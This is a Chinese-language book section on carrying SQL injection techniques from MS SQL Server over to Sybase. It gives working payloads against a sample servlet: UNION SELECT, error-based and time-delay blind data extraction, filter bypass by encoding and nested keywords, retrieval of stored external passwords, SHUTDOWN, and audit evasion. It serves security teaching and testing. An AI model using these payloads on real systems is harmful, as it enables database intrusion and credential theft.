14.3 Sybase内的MS SQL Server 注入技术
有大量的关于Microsoft SQL Server应用程序内SQL注入的文章被发表,这是因为Sybase 和MS SQL Server有共同的来源,值得快速研究一下这个著名的技术和其在Sybase内的工作方式。

14.3.1 注释
Sybase使用“–”和“/*”注释风格,这种方式与MS SQL Server非常一致,因此可以利用“–”序列以同样的方式截短查询。过度精神紧张是不明智的—— 因为采取使注释序列无效的方法总是有可能完成查询的。例如,在前面的UNION SELECT示例中,

http://sybase.example.com/servlet/BookQuery?searchsl234′)+union+select+

name,null,null,null,null,null,null,null,null,0+from+master..syslogins–

可以用一个不必要的or来结束查询:

http://sybase.exainple.com/servlet/BookQuery?searchsl234′)+union+select+name, null, null, null, null, null, null, null, null, 0+from+master. . syslogins+

where+l=l+or+(‘a’=’a

用这种方式可以使整个查询在语法上保持正确。一般的,多余的or操作符在where从句内可以工作,或者(如果正在注入批处理语句)在批处理后面附加select。

14.3.2 Union Select
正如您刚才所看到的,union select语句几乎以完全相同的方式工作。

14.3.3 错误消息
Sybase错误消息几乎和MS SQL Server错误消息一样有用。特别是“整数转换”(integer conversion)技巧完全相同。利用该技巧,攻击者故意把VARCHAR类型的数据强制转换为整数,目的是引发包含了真实的VARCHAR数据的错 误消息。例如,为了获取服务器上数据库的列表,可以使用如下所示的查询:

select name from master..sysdatabases order by name

为了在我们的示例中获得同样的结果,使用整数转换技术,发送请求:

BookQuery?search=’)+and+l=convert(integer,(select+min(name)+from+

sysdatabases+where+name>”))–

这将返回如下所示的消息:

com.Sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit

conversion of VARCHAR value ‘master’ to a INT field.

可见,错误消息包含了字符串master,这是结果集的第一行记录。为了得到下一条,修改查询以便select大于master的最小值,于是:

BookQuery?search=’)+and+l=convert(integer,(select+min(name)+from+

sysdatabases+where+name>’master’))–

错误消息返回字符串model。用这种方式,迭代查询所有的行记录,直到select不能返回进一步的数据为止。

14.3.4 @@version
在MS SQL Server中,简单的查询语句

select @@version

将返回操作系统和DBMS的版本号,该版本号足够用来鉴别缺少的补丁程序。Sybase内仍然存在全局变量@@version—— 参考前面一节的错误消息技术,可以用如下方式获得:

BookQuery?search=’)+and+l=convert(integer,(select+@@version))–

这将在如下所示的行内返回一些信息:

‘Adaptive Server Enterprise/12.5.2/EBF 11948 ESD#l/P/NT (IX86)/OS

4.0/asel252/1838/32-bit/OPT/Sat May 29 03:34:29 2004′

此处的相关项有12.5.2,亦即DBMS的版本号;相关项EBF11948,是emergency bug fix(紧急bug修复)号;ESD#1,是Electronic Software Delivery(电子软件交付)号,那是一个累积的补丁集,与Windows的Service Pack相似。

另一个全局变量@@version_as_integer返回Sybase的major version—— 该版本同样可以通过前面所列的版本抓取脚本来获得,本例中返回12500,表示版本12.5.0.0。

为了利用前面概述的错误消息技术得到整数,只需将整数转换为不可被隐式转换为整数的字符串,如下所示:

convert(integer,(select ‘z’ + str(@@version_as_integer)))

这提供了一个查询

BookQuery?search=’)+and+l=convert(integer,(select+’z’%2bstr (@@version_as_integer)))–

返回结果

com.Sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit

conversion of VARCHAR value ‘z 12500’ to a INT field.

通常,为了利用整数转换错误消息来获得任意数据类型的变量,首先要将变量强制转换为字符串,然后执行整数转换。

14.3.5 Having/Group By
在MS SQL Server中,通过在select语句末端附加having子句,有可能枚举表和域名,例如having 1=1。MS SQL Server错误消息的形式如下所示:

Column ‘users.id’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

(列users.id在选择列表内无效,因为其没有被包含在聚集函数内,并且缺少GROUP BY子句。)

在Sybase和MS SQL Server内,having和group by子句的语法有轻微的差异;特别是,Sybase的having和group by语法更自由,因此不能使用这个特定的技术。

14.3.6 SQL批处理注入
在MS SQL Server内可以注入成批的语句,这使得可以执行高于和超过单个Transact-SQL语句可执行的操作,特别是成批的语句涉及流控制语句、变量声明和操作以及混合使用DDL和DML语句以更改数据库结构。

Sybase流控制和声明语句的工作方式几乎与MS SQL Server完全相同,因此这种类型的注入对Sybase很有效。

14.3.7 xp_cmdshell
Sybase支持执行扩展的存储过程,其方式与MS SQL Server极其相似,但是采用了略微不同的机制。默认的,只有管理员才可以执行xp_cmdshell。此外,有一个特殊的xp_cmdshell配置 设置,决定了xp_cmdshell执行的安全上下文。如果通过如下的语句将选项设置为0

Sp_configure ‘xp_cmdshell context’, 0

Sybase将在其自身的安全上下文内执行命令shelll。如果设为1(默认值),xp_cmdshell将在执行查询的用户的上下文内运行,该用户必须是操作系统级别的管理员。

14.3.8 xp_regread
Sybase没有与xp_regread等价的过程,因此任何xp_regread技巧(例如读取Windows下的SAM数据库)都对Sybase无效。

14.3.9 自定义的扩展存储过程
Sybase内的存储过程API工作方式几乎与MS SQL Server的完全相同,因此,涉及恶意的扩展存储过程的概念也与MS SQL Server的相当一致。主要的显著区别是,Sybase内扩展的存储过程由扩展过程服务执行,其进程不同于主要的Sybase数据库服务器进程。由于这 一区别,某些攻击(例如,应用运行时代码补丁)对Sybase无效。

14.3.10 调用CHAR函数以绕过引号筛选器
偶尔您会发现某公司使用将查询语句内各处的单引号简单“加倍”的方式处理SQL注入。(通常)这个方法对于字符串数据还不错,但是对数字数据没有帮助。当 利用数字域的SQL注入时,此时单引号被转义,有一个小小的不便之处,那就是很难表示字符串的字面值,因为不可以使用单引号字符。不过,CHAR函数允许 通过拼接基于符号码的字符的方式来创建字符串字面值。这是一种MS SQL Server内的通用技术,其工作方式与Sybase内的相同。

例如,

select char(0x41)+char(0x42)+char(0x43)

将产生(‘ABC’)。

事实上,由于VARBINARY可以被隐式地强制转换为VARCHAR,下面的语句是一种更经济的字符串编码方法,无需使用引号:

select char (0x41)+0x42434445

将产生结果‘ABCDE’。

在某些情况下,您可能会发现尽管单引号被转义了,但双引号没有被转义(通常二者可以互换):

select “ABCDE”

Sybase中双引号转义方式与单引号转义相同,即字符串内两个连续的双引号被解析为一个双引号。

14.3.11 SHUTDOWN
SHUTDOWN命令是一个很好的示例,可以说明为什么即便在查询内注入很少的字符也是危险的,它常被用于MS SQL Server注入初步排查。SHUTDOWN命令可关闭数据库服务器;这很简单。虽然这么做需要admin特权,但是很容易想象在Web应用程序上取得特 权所需付出的努力。Sybase内SHUTDOWN的工作方式与SQL Server相同,包括WITH NOWAIT选项。

14.3.12 通过sp_password逃避审计
在MS SQL Server中,如果攻击者将字符串

sp_password

附加到Transact-SQL语句后,审计机制将在日志内记录如下内容:

— ‘sp_password’ was found in the text of this event.

— The text has been replaced with this comment for security reasons.

这一行为发生在所有的T-SQL日志中,即使sp_password出现在注释中也是如此。当然,这么做目的是在用户传递口令时隐藏用户的明文口令,但是对于攻击者来说这也是一个非常有用的行为。

在Sybase中,审计机制并不存储查询的全部文本,因此默认的审计机制不会遭受这种类型的逃避攻击。

14.3.13 连接服务器
Sybase具有查询外部服务器的能力,其方法与MS SQL Server大体相似,但其配置则更加复杂和可适应。就如同在MS SQL Server之间看到的一样,在Sybase服务器之间也可能发现预验证通道,这是因为促使人们设置这种通道的商业因素是相同的。

然而,在Sybase中,用于连接外部服务器的口令(依赖于具体配置)以弱加密格式存储于guest可读的表内(sysattributes)。

因此,如果配置了外部登录(sp_addexternlogin),也许可以从sysattributes表内得到弱加密的口令:

(from sp_addexternlogin)

update master.dbo.sysattributes

set    object_cinfo = @externname,

p_w_picpath_value = internal_encrypt(@externpasswd)

internal_encrypt() produces output like this:

select internal_encrypt (‘AAAAA’)

————-

0x4405440544

我们把解密算法留给读者作为练习。

因为guest用户可以读取sysattributes表,故弱加密可能会引起安全风险。任何用户都可以发出查询

select p_w_picpath_value from sysattributes where len(convert(varbinary,

p_w_picpath_value))>0

来获得“加密”的外部口令,然后以一般方法解密,就可以获得服务器配置的所有外部登录的证书。当然,这一问题只存在于某些身份验证模型中,不过,在您打算配置外部登录时,应该记住这个问题。

另外,internal_encrypt函数偶然发生的问题是人们有时候会将其用于自定义的Sybase应用程序,以替代散列算法。如果在 google上搜索internal_encrypt,在搜索结果中您将看到几个技术新闻组的记录。前述的做法是相当不明智的;正如您所看到的,由 internal_encrypt提供的加密异常脆弱。不建议在生产系统内使用无文档说明的内部函数。较好的解决方案可能是利用Sybase对Java的 卓越支持,以及使用MD5或SHA1的成熟版本作为口令散列算法。

14.3.14 利用时间延迟作通信通道
在以前关于MS SQL Server内SQL注入的文章里,我们曾讨论了利用时间延迟从数据库中提取信息的技术。不过这一技术适用于多种DBMS,这种特有的机制在MS SQL Server中反映为waitfor语句。该技术相当强大,无需修改就可以用于Sybase。

在Sybase中,命令

waitfor delay ‘0:0:5’

将使Sybase等待5秒钟。如果用这种方法来中止我们有漏洞的样例Servlet,需要发送的请求如下所示:

BookQuery?search=’)+waitfor+delay+’0:0:5′–

通常,可以用这种技术测试Web应用程序的SQL注入。尝试多种形式的waitfor命令,以便最大化正确构造语句的机会:

BookQuery?search=0+waitfor+delay+’0:0:5′–

BookQuery?search=’ +waitfor+delay+ ‘0:0:5’–

BookQuery?search=”+waitfor+delay+’0:0:5′–

BookQuery?search=’)+waitfor+delay+’0:0:5′–

BookQuery?search=”)+waitfor+delay+ ‘0:0:5’–

在数据库驱动的Web应用程序内,该请求从用户Web浏览器传送到一些应用程序环境—— 在本例中是Java Servlet。应用程序构造查询然后将其发送到数据库。几乎在每个示例中,应用程序都会等到查询完成,然后将结果返回给用户。因为该过程是同步的,可以 从客户Web浏览器上测量延迟。在前面的示例中,如果服务器响应HTTP请求的时间超过5秒钟,那么该应用程序也会非常慢,或者说容易受到SQL注入攻 击。如果遇到缓慢的应用程序,可以仅增加“注入”的延迟。

为了从数据库中提取任意的信息,我们采用了与错误消息技术相类似的技术。通常,我们把需要的数据构造成字符串,然后显式地强制转换为整数。产生的错 误消息中将包含需要检索的文本。利用时间延迟来提取数据的技术是基于从字符串中提取独立的二进制位。因为可以将任何数据库数据表示为字符串,并且可以从字 符串中提取每个独立的二进制位,所以利用时间延迟作为传输通道可以检索所需要的任何数据。

如果db_name()返回的字符串的第一个字节的低位(位0)为1,下述语句将中止5秒钟:

if (ascii(substring(db_name(), 1, 1)) & ( power(2, 0)))>0 waitfor

delay ‘0:0:5’

通过改变正在提取的2的幂次(即二进制位),可以确定第一个字节的所有二进制位:

if (ascii(substring(db_name(), 1, 1)) & ( power(2, 1)))>0 waitfor

delay ‘0:0:5’

if (ascii(substring(db_name(), 1, 1)) & ( power(2, 2)))>0 waitfor

delay ‘0:0:5’

if (ascii (substring (db_name(), 1,1))&( power(2, 3)))>0 waitfor

delay ‘0:0:5’

和其他等等。在本例中,得到的二进制位(按照从高到低的有效顺序)为:

01101101

即0x6d,或m。如果继续执行并提取其余的字节,可以发现db_name()是master。

乍一看,这并不是令人恐怖的实用的攻击;尽管它提供了一种将单个二进制位从数据库内的字符串传输到浏览器的方式,但是很明显其带宽为每5秒钟1位。 然而,此处需认识到的一个重点是,传输通道是随机访问的不是顺序访问的;可以按照所选择的任何顺序,请求我们喜欢的任何二进制位。因此,可以向Web应用 程序同时发出很多请求,同时检索多个二进制位;在请求第二个二进制位之前,不必等待第一个二进制位。因此,通道的带宽不是受时间延迟的限制,而是受可以同 时发出的、可通过Web应用程序到达数据库服务器的请求的数量限制;通常是数以百计的请求。

很明显,一个harness脚本需要提交数以百计的、自动方式所需要的请求。当输入易受攻击的Web服务器和脚本的位置、需提交给脚本的参数和期望执行的查询时,脚本将运行。数百个Web请求被发出,脚本按照字符串收到时的样子重新装配二进制位。

我们在真实的Web应用程序中做了测试,证明4秒钟是一个有效的时间延迟(导致位错误率为1/2000),可支撑的查询率为同时32个查询。传输率大约每秒钟1个字节。听起来不大,但是足够在几个小时内传输整张表的口令或者信用卡。

14.3.15 VARBINARY字面值编码和Exec
在MS SQL Server中,exec函数允许执行动态构造的SQL查询语句。例如:

exec(‘select @@version’)

有时候,人们对已知的SQL语句和常量,例如select、insert、update、delete、xp_cmdshell和@@version,进行筛选。利用如下所示的查询,exec使得可以相当轻易地避开这些筛选:

exec(‘sel’+’ect @’+’@ver’+’sion’)

或者还可以采用以VARBINARY字面值编码整个字符串的方式:

declare @s varchar(2000)

set @s=0x73656C65637420404076657273696F6E

exec(@s)

这等价于select @@version。显而易见,如果exec本身被筛选的话,就会使事情变得比较困难。通常,对已知的SQL语句筛选用户输入是一种异常糟糕的处理SQL 注入的方法。在某些示例中,人们删除“已知糟糕的”关键字,利用如下所示的请求可以轻易避开这一措施:

selselectect @@ver@@versionsion

换言之,在“已知糟糕的”内容中嵌入其自身。这种做法通常都有效,除非一直进行筛选使得内容不可以置换。